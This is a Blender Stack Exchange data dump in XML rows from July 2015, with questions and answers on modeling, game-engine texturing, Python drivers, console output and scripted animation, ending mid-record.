  <row Id="34115" PostTypeId="1" CreationDate="2015-07-16T22:51:17.503" Score="0" ViewCount="337" Body="&lt;p&gt;I have two mesh that are not aligned to the grid. How an I snap and merge these two shapes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one is a cylinder, the second is a half sphere. They are at slightly different angles, but they both have the same number of vertices. If possible I would like to merge each matching vertex. &lt;/p&gt;&#xA;" OwnerUserId="15710" LastActivityDate="2015-07-16T22:51:17.503" Title="How to snap two mesh" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;transforms&gt;&lt;snapping&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34116" PostTypeId="1" CreationDate="2015-07-16T23:01:30.817" Score="3" ViewCount="4241" Body="&lt;p&gt;When I press P to play everything shows up white in the BGE. Shading is set to GLSL, and the objects are UV mapped and textured. It seems that vertex paint is overriding the material for the object even though it is unchecked in the material options.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FHwRm.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shading is set to GLSL&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EJlLh.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects have a texture applied&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AmVjL.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15716" LastActivityDate="2019-11-05T18:19:49.350" Title="BGE everything white in playmode" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34117" PostTypeId="1" AcceptedAnswerId="34120" CreationDate="2015-07-16T23:07:32.017" Score="8" ViewCount="542" Body="&lt;p&gt;Is it possible to write Multi-line drivers? As I understand it, drivers just assign the given &lt;em&gt;statement&lt;/em&gt; to a variable, so you couldn't have _expressions (which don't evaluate to anything) in there. Is there some way to go around this? If so, how? &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="15795" LastEditDate="2017-05-01T00:28:07.193" LastActivityDate="2017-05-01T00:28:07.193" Title="Can drivers span more than one line?" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34118" PostTypeId="2" ParentId="34116" CreationDate="2015-07-16T23:10:11.410" Score="5" Body="&lt;p&gt;Set the Shading to &quot;Texture&quot; then start the engine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aLniW.jpg&quot; alt=&quot;Texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5095" LastActivityDate="2015-07-16T23:10:11.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34119" PostTypeId="2" ParentId="34116" CreationDate="2015-07-16T23:11:11.363" Score="8" Body="&lt;p&gt;Your problem is Very simple to fix. Currently, your shading is set to solid. Change it to textured view, and your textures will display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N8qLk.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-07-16T23:11:11.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34120" PostTypeId="2" ParentId="34117" CreationDate="2015-07-16T23:24:13.710" Score="9" Body="&lt;p&gt;Although the expression is one line you can call a complex function in that line, you have to define and add this function to the driver's namespace before using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's an example function and how it's added to the Driver's namespace ( from the &lt;a href=&quot;http://www.blender.org/manual/animation/basics/drivers.html#driver-namespace&quot; rel=&quot;noreferrer&quot;&gt;DOC&lt;/a&gt; ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def driverFunc(val):&#xA;&#xA;    return val * val    # return val squared&#xA;&#xA;bpy.app.driver_namespace['driverFunc'] = driverFunc    # add function to driver_namespace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see the already availabe functions and properties type &lt;code&gt;bpy.app.driver_namespace['&lt;/code&gt; in the python console and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;space&lt;/kbd&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/animation/basics/drivers.html#driver-namespace&quot; rel=&quot;noreferrer&quot;&gt;DOC link for more info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-16T23:24:13.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34121" PostTypeId="2" ParentId="34113" CreationDate="2015-07-17T01:40:22.263" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, for that I need the time difference, which I don't know how to calculate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use the second order &lt;a href=&quot;https://en.wikipedia.org/wiki/Finite_difference#Higher-order_differences&quot; rel=&quot;nofollow&quot;&gt;finite differencing&lt;/a&gt; to approximate the acceleration. And by using a central differencing scheme you can achieve second order accuracy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender,&#xA;you can use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.FCurve.html?highlight=evaluate#bpy.types.FCurve.evaluate&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;FCurve.evaluate&lt;/code&gt;&lt;/a&gt; function to get the position of one object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;action = bpy.data.actions[0]&#xA;curve = action.fcurves[0]&#xA;# Evaluate object's position at time t&#xA;position = curve.evaluate(t)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can use central second order differencing to calculate the acceleration at time &lt;code&gt;t&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def D(curve, t):&#xA;    h = 1e-4&#xA;    return (curve.evaluate(t + h) - curve.evaluate(t) * 2 + curve.evaluate(t - h)) / (h * h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you have to use backward or forward differencing scheme at boundary of an action curve since the value at &lt;code&gt;t + h&lt;/code&gt; or &lt;code&gt;t - h&lt;/code&gt; may not be defined there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you will see an extraordinary large acceleration at jump point, which may be a problem when you build animations from the calculated acceleration.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="15720" LastEditDate="2015-07-17T01:56:58.270" LastActivityDate="2015-07-17T01:56:58.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34123" PostTypeId="1" AcceptedAnswerId="34124" CreationDate="2015-07-17T03:52:25.670" Score="3" ViewCount="414" Body="&lt;p&gt;This should be a simple question. I have always been bothered when making curves because the thickness always changes as the object curves. Here is an example of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUGoS.jpg&quot; alt=&quot;problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the curve gets thinner. I know how to fix this, but it is a bad process. What would be the easiest way to make curves and edges that are always the same thickness?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="599" LastEditDate="2015-07-17T06:10:42.280" LastActivityDate="2015-07-17T06:10:42.280" Title="How to extrude curves without changing thickness?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34124" PostTypeId="2" ParentId="34123" CreationDate="2015-07-17T04:34:07.993" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Draw the desired squiggly curve, e.g. by Add | Curve | Bezier&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nTjqL.jpg&quot; alt=&quot;step_1&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a flat path object of the desired width, e.g. by Add | Curve | Path&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xh9Ip.jpg&quot; alt=&quot;step_2&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the curve, click the object Data context, click the Bevel Object dropdown, and choose the flat path object, e.g. &quot;NurbsPath&quot; -- this will sweep the flat path object along the squiggly curve.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/swhYm.jpg&quot; alt=&quot;step_3&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want a mesh object instead of a curve object, use Object | Convert To (Alt-C)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15720" LastActivityDate="2015-07-17T04:34:07.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34125" PostTypeId="1" CreationDate="2015-07-17T05:14:03.967" Score="0" ViewCount="161" Body="&lt;p&gt;I just baked all my cycles materials onto my objects for a game i am making, but in the BGE there are strange white artifacts on some of the corners and edges of my model... I really have no idea what is causing this, so i am sorry i can't tell you more.&#xA;Here is a link to download the .blend --&gt; &lt;a href=&quot;https://www.mediafire.com/?5hhsfr4hdmkabf2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/?5hhsfr4hdmkabf2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qi9aR.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PZJp5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15716" LastEditorUserId="-1" LastEditDate="2015-07-17T19:38:25.887" LastActivityDate="2015-07-17T19:38:25.887" Title="BGE Strange white artifacts on edges of objects" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34126" PostTypeId="2" ParentId="34112" CreationDate="2015-07-17T05:15:16.503" Score="1" Body="&lt;p&gt;This is a possible cycles shader you can use with your textures.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KjlOQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The &quot;?&quot; indicates you can plug the color map or not.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-17T05:15:16.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34127" PostTypeId="2" ParentId="34113" CreationDate="2015-07-17T05:27:16.610" Score="2" Body="&lt;p&gt;Something I put together a few years back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?244186-Trying-to-rig-a-vehicle-to-transform-linear-motion-into-rotational-motion-for-wheels&amp;amp;p=2042066&amp;amp;viewfull=1#post2042066&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?244186-Trying-to-rig-a-vehicle-to-transform-linear-motion-into-rotational-motion-for-wheels&amp;amp;p=2042066&amp;amp;viewfull=1#post2042066&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than using fcurves (useless in this case as its animated via follow path ) running the  script steps thru all the frames and calculates the speed (from the velocity vector) and acceleration based on obj.matrix_world.translation over a couple of frames and keyframes them to custom properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at it now there should also be a displacement &lt;/p&gt;&#xA;&#xA;&lt;p&gt;disp += abs(v)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;given we do use petrol in reverse.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIRC this was pre the events handler system, &amp;amp; I've often wondered how it would go with a frame_change_pre and post handler and global variables.&lt;/p&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15543" LastEditDate="2015-07-17T05:33:06.733" LastActivityDate="2015-07-17T05:33:06.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34128" PostTypeId="2" ParentId="34110" CreationDate="2015-07-17T05:30:28.097" Score="2" Body="&lt;p&gt;you can make your life easier with a mirror modifier and deleting 1 half of your mesh.&lt;br&gt;&#xA;In side view (&lt;kbd&gt;3&lt;/kbd&gt;), select the bottom loop (&lt;kbd&gt;Alt&lt;/kbd&gt;+Right click on an edge), activate proportionnal editing with &lt;kbd&gt;O&lt;/kbd&gt; and scale on Y axis (&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;). while scaling, you can change the proportionnal editing radius with your mouse wheel. click to accept the scaling, right click to cancel.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-17T05:30:28.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34129" PostTypeId="1" CreationDate="2015-07-17T05:59:01.437" Score="0" ViewCount="2074" Body="&lt;p&gt;Guys i am in a big problem and don't know how to do that.i want to attach rigged skirt/cloth with my rigged character i don't wan't to lost cloth bones.&lt;img src=&quot;https://i.stack.imgur.com/aqRMN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15640" LastActivityDate="2015-07-17T12:47:54.790" Title="How to attach rigged cloth with a rigged character.?" Tags="&lt;objects&gt;&lt;rigging&gt;&lt;armature&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34130" PostTypeId="1" AcceptedAnswerId="34161" CreationDate="2015-07-17T06:01:58.683" Score="0" ViewCount="840" Body="&lt;p&gt;Here I have a rat rigged and animated,And I used a corrective smooth modifier.&#xA;But I am going to export this animation into unity,SO my question here,how can I export this animation including the corrective smooth modifier effect to and external app like unity?or can we do the corrective smooth by another way?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2021-01-21T01:39:01.773" Title="Export armature animation + corrective smooth modifier?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34131" PostTypeId="2" ParentId="34106" CreationDate="2015-07-17T06:14:18.683" Score="6" Body="&lt;p&gt;Unfortunately, no. Also I believe that it always alocates the same divisions along each axis, so generally you might want to keep it smaller than 512. You could take a look at using the smoke high resolution to get more details. If you want a render at that distance you could consider using particles instead. Or you could divide it into separate shots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Yes, do as gandalf3 suggests, but you'll need adaptive domain enabled for that. Otherwise it will move the current simulation data.&lt;/p&gt;&#xA;" OwnerUserId="15725" LastActivityDate="2015-07-17T06:14:18.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34132" PostTypeId="1" AcceptedAnswerId="34134" CreationDate="2015-07-17T07:13:37.173" Score="1" ViewCount="195" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.report({'INFO'}, 'a\nb\nc')&#xA;self.report({'INFO'}, '0\n1\n2')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the info view the output is displayed as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c&#xA;b&#xA;a&#xA;2&#xA;1&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to configure the Info view to display it in a normal way, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a&#xA;b&#xA;c&#xA;0&#xA;1&#xA;2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15667" LastEditorUserId="47" LastEditDate="2015-07-17T11:54:39.203" LastActivityDate="2015-07-18T09:13:25.907" Title="Info view print order / displaying debug information" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34133" PostTypeId="1" AcceptedAnswerId="34136" CreationDate="2015-07-17T07:46:02.397" Score="2" ViewCount="1096" Body="&lt;p&gt;New to blender. Here's my dilemma.&#xA;I am dynamically animating a protein network using a python-script using user-provided text-files.&#xA;The animation is done using key-framing for each object's actions (see below - self.frame_number and self.disjointed_frame allow the class in question to remember what frame the animation is on)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def add_progressive_location_keyframe(self, frame_step):&#xA;&#xA;        bpy.context.scene.frame_end += frame_step&#xA;        bpy.context.object.keyframe_insert(data_path=&quot;location&quot;, frame=self.frame_number)&#xA;        self.frame_number += frame_step&#xA;        self.disjointed_frame += frame_step&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far, animating reactions that merely involve the transloation of one protein from one location to another have worked fine.&#xA;However, some reactions involve two proteins forming a complex, a new protein.&#xA;In this case, I have to dynamically delete the two reactants in a certain key-frame and in that same frame create the product.&#xA;However, I cannot add a key-frame to an object I have deleted and I am unable to add a key-frame to an object that doesn't yet exist.&#xA;This results in the two reactants being deleted and the product being formed in frame 0 (the first one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: How can I add key-frames to these objects in order to dynamically delete and create them in certain frames? Is there a work around I am unfamiliar with?&#xA;Your help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="15471" LastEditDate="2015-07-17T08:18:48.767" LastActivityDate="2015-07-17T09:24:41.380" Title="Dynamic, script-based animations of object creation and deletion" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;objects&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34134" PostTypeId="2" ParentId="34132" CreationDate="2015-07-17T08:14:48.133" Score="2" Body="&lt;p&gt;This could be used, but i'm sure i'll receive some heat for suggesting this. Run this from text editor, and it will print 'wooot' in the first available blender Python Console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# doesn't support passing the context&#xA;# from console_python import add_scrollback&#xA;&#xA;def add_scrollback2(ctx, text, text_type):&#xA;    for l in text.split(&quot;\n&quot;):&#xA;        bpy.ops.console.scrollback_append(ctx, text=l.replace(&quot;\t&quot;, &quot;    &quot;),&#xA;                                          type=text_type)&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'CONSOLE':&#xA;&#xA;        ctx = bpy.context.copy()&#xA;        ctx['area'] = area&#xA;        add_scrollback2(ctx, &quot;whooot&quot;, 'INFO')&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few caveats, this isn't recommended at all, and especially not for printing out large chunks of data rapidly. That's what &lt;a href=&quot;https://docs.python.org/3.4/library/logging.html&quot; rel=&quot;nofollow&quot;&gt;logging&lt;/a&gt; is for, you can write output to text files on disk, much much faster than your machine can print messages to the screen (printing to screen slows down your code significantly if it happens in tight loops). The benefit of writing to disk is you have virtually no limit regarding the amount of lines you can record, unlike most terminals/consoles which have a finite scroll-back buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the long run most of us conclude that it's more convenient to have a  console/terminal open in addition to blender, be it landscape or portrait. This means starting Blender from a console, or creating a start-up shortcut that first spawns a console and then from that console an instance of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do use regular terminal / console then be selective about what information you print, and avoid print statements that might be triggered in tight loops.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-18T09:13:25.907" LastActivityDate="2015-07-18T09:13:25.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34136" PostTypeId="2" ParentId="34133" CreationDate="2015-07-17T08:51:52.207" Score="2" Body="&lt;p&gt;In that case I propose &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;preprocess the file into separate files per frame ( Alternatively create a cache dict if you have plenty of RAM, that way you avoid having to deal with writing/reading extra files :) )&lt;/li&gt;&#xA;&lt;li&gt;store each cloud of atom types and their coordinates something like   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; C x y z&#xA; C x y z&#xA; C x y z&#xA; N x y z&#xA; N x y z &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;write a file reader that can take each frame's &lt;em&gt;file&lt;/em&gt; and &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;on the first frame &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;check if the object in the next step exists already, skip this step if it does.&lt;/li&gt;&#xA;&lt;li&gt;create a vertex based mesh object for each type of atom ( ie create a vertex for every atom of one type and put those in an object named something like &lt;em&gt;atom_cloud_C&lt;/em&gt;, and do the same for all other atom types ). Meaning, if your file only has 3 C atoms, that your  &lt;em&gt;atom_cloud_C&lt;/em&gt; only has 3 verts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;on subsequent frames you read the next frame's file and overwrite the coordinates of each atom, for all atom types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f_v = list(itertools.chain.from_iterable(verts))&#xA;mesh.vertices.foreach_set('co', f_v)&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This produces clouds of atoms as different objects, which get updated every frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then create the spheres that represent each atom type (only need one sphere per atom type)&lt;/li&gt;&#xA;&lt;li&gt;Then use the dupli feature set to Verts to duplicate the various spheres that represent the atom. (this is a low memory way to display many spheres )&lt;/li&gt;&#xA;&lt;li&gt;instead of keyframing it all, you can attach a &lt;code&gt;bpy.app.handlers.frame_change_pre&lt;/code&gt; to perform a function on each frame change (pre or post), examples for this can be found in the documentation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-17T09:24:41.380" LastActivityDate="2015-07-17T09:24:41.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34137" PostTypeId="1" AcceptedAnswerId="34297" CreationDate="2015-07-17T09:27:47.517" Score="1" ViewCount="852" Body="&lt;p&gt;how do you guys keep your settings when switching computers (e.g. home/work)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still in the process of finding my perfect setup, and I would like to have all the changes that I make and all the addons I install available on all machines that I work on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you just link your 2.75 folder to a dropbox folder to keep everything synced? That would even sync unwanted stuff like recent projects and bookmarks. And the filepaths are stored there as well which are not the same on every machine/OS.&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2015-07-24T22:51:57.527" Title="Shared preferences/addons across different machines (e.g. Dropbox)" Tags="&lt;workflow&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34138" PostTypeId="2" ParentId="33636" CreationDate="2015-07-17T09:54:00.720" Score="3" Body="&lt;p&gt;Detach the glass panel from the 4 vertices around it (Select the Face, hit &lt;kbd&gt;Y&lt;/kbd&gt;, this will make its 4 vertices unique). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently what you have is 'invalid' geometry, and it messes up the edge render routine. Blender allows you to create meshes that are not technically 'valid'. If you have edges which are shared by more than 2 faces that's a problem mesh, and you can expect weird behavior in recalculation normals and other operations / artefacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pz6c5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason Blender will drop edges from the interactive view of the wireframe, is if their shared faces have the same Normals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZZ96.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're experiencing might be the effect of those edges not having a clear Normal, because they are also shared by 3 faces.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-17T11:52:37.460" LastActivityDate="2015-07-17T11:52:37.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34139" PostTypeId="1" AcceptedAnswerId="34141" CreationDate="2015-07-17T10:37:51.900" Score="0" ViewCount="102" Body="&lt;p&gt;I have no idea why is it grainy on the left side. But on the right side it is ok. I added additional lights on the left side but the problem is still there. Any tips? I am struggling about lighting the rooms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/357/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=357&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7oUq6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-17T11:00:07.693" Title="Why is it grainy in this part?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-07-17T14:31:40.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="34140" PostTypeId="2" ParentId="34139" CreationDate="2015-07-17T10:47:01.177" Score="0" Body="&lt;p&gt;your green wall's face is overlaping the other wall (behind it). move it a tiny bit away.&lt;br&gt;&#xA;(i also suggest you to make your roof a bit less shiny with a lower specular intensity and hardness)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-17T10:47:01.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34141" PostTypeId="2" ParentId="34139" CreationDate="2015-07-17T10:53:18.027" Score="1" Body="&lt;p&gt;Artifatcs are caused by overlapping faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right side you have this situation (correct):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IB6Gm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while on the left side (overlapped/dubled geometry):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CABtMm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clearly see the problem also in Solid view display mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qbi1i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As faces shares the same location, camera rays can't tell which one is visible from camera, so shows a bit of one and a bit of the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to create a gap between faces&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-17T11:00:07.693" LastActivityDate="2015-07-17T11:00:07.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34143" PostTypeId="2" ParentId="34079" CreationDate="2015-07-17T12:28:27.617" Score="2" Body="&lt;p&gt;I Believe this is a limitation from the current linking implementation. The workaround I currently use is to create a copy of the file (or a file link if the os supports that) with a different name and link the second character from that.&lt;/p&gt;&#xA;" OwnerUserId="15725" LastActivityDate="2015-07-17T12:28:27.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34144" PostTypeId="2" ParentId="34129" CreationDate="2015-07-17T12:47:54.790" Score="3" Body="&lt;p&gt;Use a Child of constraint on the cloth armature to make it a Child of the body armature and a related bone. Then you can animate the strength of the constraint if you want to take it off. (Or use the addon for dynamic parents.)&lt;/p&gt;&#xA;" OwnerUserId="15725" LastActivityDate="2015-07-17T12:47:54.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34145" PostTypeId="1" AcceptedAnswerId="34276" CreationDate="2015-07-17T12:58:24.360" Score="4" ViewCount="1423" Body="&lt;p&gt;I found this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/688/getting-the-list-of-points-that-describe-a-curve-without-converting-to-mesh&quot;&gt;Getting the list of points that describe a Curve without converting to mesh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to do the same for a &lt;em&gt;Nurbs&lt;/em&gt; curve. This Nurbs curve consists of a lot of splines and I would like to be able to pick a spline to get the points from. I could create a Bezier curve, but I would prefer to use a Nurbs curve in my script. How would I do this as there is no &lt;code&gt;mathutils.geometry.interpolate_nurbs()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="668" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2021-02-19T07:34:37.493" Title="Calculate points on a 